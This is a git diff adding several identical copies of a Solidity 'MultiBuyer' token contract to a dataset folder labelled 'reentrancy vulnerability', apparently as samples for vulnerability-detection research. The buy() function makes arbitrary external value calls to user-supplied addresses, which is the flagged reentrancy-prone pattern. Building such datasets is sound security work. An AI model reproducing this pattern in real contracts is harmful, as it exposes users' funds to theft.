0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/798.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/80.sol b/smart_contract_dataset/reentrancy vulnerability/80.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/80.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/801.sol b/smart_contract_dataset/reentrancy vulnerability/801.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/801.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/81.sol b/smart_contract_dataset/reentrancy vulnerability/81.sol new file mode 100644 index 0000000000000000000000000000000000000000..dc576e5085fc7b102ac9c6c2e011006c0b6c755b --- /dev/null +++ b/smart_contract_dataset/reentrancy vulnerability/81.sol @@ -0,0 +1,288 @@ +pragma solidity ^0.4.24; + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20Basic.sol + +/** + * @title ERC20Basic + * @dev Simpler version of ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/179 + */ +contract ERC20Basic { + function totalSupply() public view returns (uint256); + function balanceOf(address who) public view returns (uint256); + function transfer(address to, uint256 value) public returns (bool); + event Transfer(address indexed from, address indexed to, uint256 value); +} + +// File: openzeppelin-solidity/contracts/token/ERC20/ERC20.sol + +/** + * @title ERC20 interface + * @dev see https://github.com/ethereum/EIPs/issues/20 + */ +contract ERC20 is ERC20Basic { + function allowance(address owner, address spender) + public view returns (uint256); + + function transferFrom(address from, address to, uint256 value) + public returns (bool); + + function approve(address spender, uint256 value) public returns (bool); + event Approval( + address indexed owner, + address indexed spender, + uint256 value + ); +} + +// File: contracts/interface/IBasicMultiToken.sol + +contract IBasicMultiToken is ERC20 { + event Bundle(address indexed who, address indexed beneficiary, uint256 value); + event Unbundle(address indexed who, address indexed beneficiary, uint256 value); + + function tokensCount() public view returns(uint256); + function tokens(uint256 _index) public view returns(ERC20); + function allTokens() public view returns(ERC20[]); + function allDecimals() public view returns(uint8[]); + function allBalances() public view returns(uint256[]); + function allTokensDecimalsBalances() public view returns(ERC20[], uint8[], uint256[]); + + function bundleFirstTokens(address _beneficiary, uint256 _amount, uint256[] _tokenAmounts) public; + function bundle(address _beneficiary, uint256 _amount) public; + + function unbundle(address _beneficiary, uint256 _value) public; + function unbundleSome(address _beneficiary, uint256 _value, ERC20[] _tokens) public; +} + +// File: contracts/interface/IMultiToken.sol + +contract IMultiToken is IBasicMultiToken { + event Update(); + event Change(address indexed _fromToken, address indexed _toToken, address indexed _changer, uint256 _amount, uint256 _return); + + function getReturn(address _fromToken, address _toToken, uint256 _amount) public view returns (uint256 returnAmount); + function change(address _fromToken, address _toToken, uint256 _amount, uint256 _minReturn) public returns (uint256 returnAmount); + + function allWeights() public view returns(uint256[] _weights); + function allTokensDecimalsBalancesWeights() public view returns(ERC20[] _tokens, uint8[] _decimals, uint256[] _balances, uint256[] _weights); +} + +// File: openzeppelin-solidity/contracts/math/SafeMath.sol + +/** + * @title SafeMath + * @dev Math operations with safety checks that throw on error + */ +library SafeMath { + + /** + * @dev Multiplies two numbers, throws on overflow. + */ + function mul(uint256 a, uint256 b) internal pure returns (uint256 c) { + // Gas optimization: this is cheaper than asserting 'a' not being zero, but the + // benefit is lost if 'b' is also tested. + // See: https://github.com/OpenZeppelin/openzeppelin-solidity/pull/522 + if (a == 0) { + return 0; + } + + c = a * b; + assert(c / a == b); + return c; + } + + /** + * @dev Integer division of two numbers, truncating the quotient. + */ + function div(uint256 a, uint256 b) internal pure returns (uint256) { + // assert(b > 0); // Solidity automatically throws when dividing by 0 + // uint256 c = a / b; + // assert(a == b * c + a % b); // There is no case in which this doesn't hold + return a / b; + } + + /** + * @dev Subtracts two numbers, throws on overflow (i.e. if subtrahend is greater than minuend). + */ + function sub(uint256 a, uint256 b) internal pure returns (uint256) { + assert(b <= a); + return a - b; + } + + /** + * @dev Adds two numbers, throws on overflow. + */ + function add(uint256 a, uint256 b) internal pure returns (uint256 c) { + c = a + b; + assert(c >= a); + return c; + } +} + +// File: openzeppelin-solidity/contracts/token/ERC20/SafeERC20.sol + +/** + * @title SafeERC20 + * @dev Wrappers around ERC20 operations that throw on failure. + * To use this library you can add a `using SafeERC20 for ERC20;` statement to your contract, + * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. + */ +library SafeERC20 { + function safeTransfer(ERC20Basic token, address to, uint256 value) internal { + require(token.transfer(to, value)); + } + + function safeTransferFrom( + ERC20 token, + address from, + address to, + uint256 value + ) + internal + { + require(token.transferFrom(from, to, value)); + } + + function safeApprove(ERC20 token, address spender, uint256 value) internal { + require(token.approve(spender, value)); + } +} + +// File: openzeppelin-solidity/contracts/ownership/Ownable.sol + +/** + * @title Ownable + * @dev The Ownable contract has an owner address, and provides basic authorization control + * functions, this simplifies the implementation of "user permissions". + */ +contract Ownable { + address public owner; + + + event OwnershipRenounced(address indexed previousOwner); + event OwnershipTransferred( + address indexed previousOwner, + address indexed newOwner + ); + + + /** + * @dev The Ownable constructor sets the original `owner` of the contract to the sender + * account. + */ + constructor() public { + owner = msg.sender; + } + + /** + * @dev Throws if called by any account other than the owner. + */ + modifier onlyOwner() { + require(msg.sender == owner); + _; + } + + /** + * @dev Allows the current owner to relinquish control of the contract. + */ + function renounceOwnership() public onlyOwner { + emit OwnershipRenounced(owner); + owner = address(0); + } + + /** + * @dev Allows the current owner to transfer control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function transferOwnership(address _newOwner) public onlyOwner { + _transferOwnership(_newOwner); + } + + /** + * @dev Transfers control of the contract to a newOwner. + * @param _newOwner The address to transfer ownership to. + */ + function _transferOwnership(address _newOwner) internal { + require(_newOwner != address(0)); + emit OwnershipTransferred(owner, _newOwner); + owner = _newOwner; + } +} + +// File: openzeppelin-solidity/contracts/ownership/CanReclaimToken.sol + +/** + * @title Contracts that should be able to recover tokens + * @author SylTi + * @dev This allow a contract to recover any ERC20 token received in a contract by transferring the balance to the contract owner. + * This will prevent any accidental loss of tokens. + */ +contract CanReclaimToken is Ownable { + using SafeERC20 for ERC20Basic; + + /** + * @dev Reclaim all ERC20Basic compatible tokens + * @param token ERC20Basic The address of the token contract + */ + function reclaimToken(ERC20Basic token) external onlyOwner { + uint256 balance = token.balanceOf(this); + token.safeTransfer(owner, balance); + } + +} + +// File: contracts/registry/MultiBuyer.sol + +contract MultiBuyer is CanReclaimToken { + using SafeMath for uint256; + + function buy( + IMultiToken _mtkn, + uint256 _minimumReturn, + ERC20 _throughToken, + address[] _exchanges, + bytes _datas, + uint[] _datasIndexes, // including 0 and LENGTH values + uint256[] _values + ) + public + payable + { + require(_datasIndexes.length == _exchanges.length + 1, "buy: _datasIndexes should start with 0 and end with LENGTH"); + require(_values.length == _exchanges.length, "buy: _values should have the same length as _exchanges"); + + for (uint i = 0; i < _exchanges.length; i++) { + bytes memory data = new bytes(_datasIndexes[i + 1] - _datasIndexes[i]); + for (uint j = _datasIndexes[i]; j < _datasIndexes[i + 1]; j++) { + data[j - _datasIndexes[i]] = _datas[j]; + } + + if (_throughToken != address(0) && i > 0) { + _throughToken.approve(_exchanges[i], _throughToken.balanceOf(this)); + } + require(_exchanges[i].call.value(_values[i])(data), "buy: exchange arbitrary call failed"); + if (_throughToken != address(0)) { + _throughToken.approve(_exchanges[i], 0); + } + } + + j = _mtkn.totalSupply(); // optimization totalSupply + uint256 bestAmount = uint256(-1); + for (i = _mtkn.tokensCount(); i > 0; i--) { + ERC20 token = _mtkn.tokens(i - 1); + token.approve(_mtkn, token.balanceOf(this)); + + uint256 amount = j.mul(token.balanceOf(this)).div(token.balanceOf(_mtkn)); + if (amount < bestAmount) { + bestAmount = amount; + } + } + + require(bestAmount >= _minimumReturn, "buy: return value is too low"); + _mtkn.bundle(msg.sender, bestAmount); + if (address(this).balance > 0) { + msg.sender.transfer(address(this).balance); + } + } +} \ No newline at end of file diff --git a/smart_contract_dataset/reentrancy vulnerability/870.sol b/smart_contract_dataset/reentrancy vulnerability/870.sol new file mode 100644 index 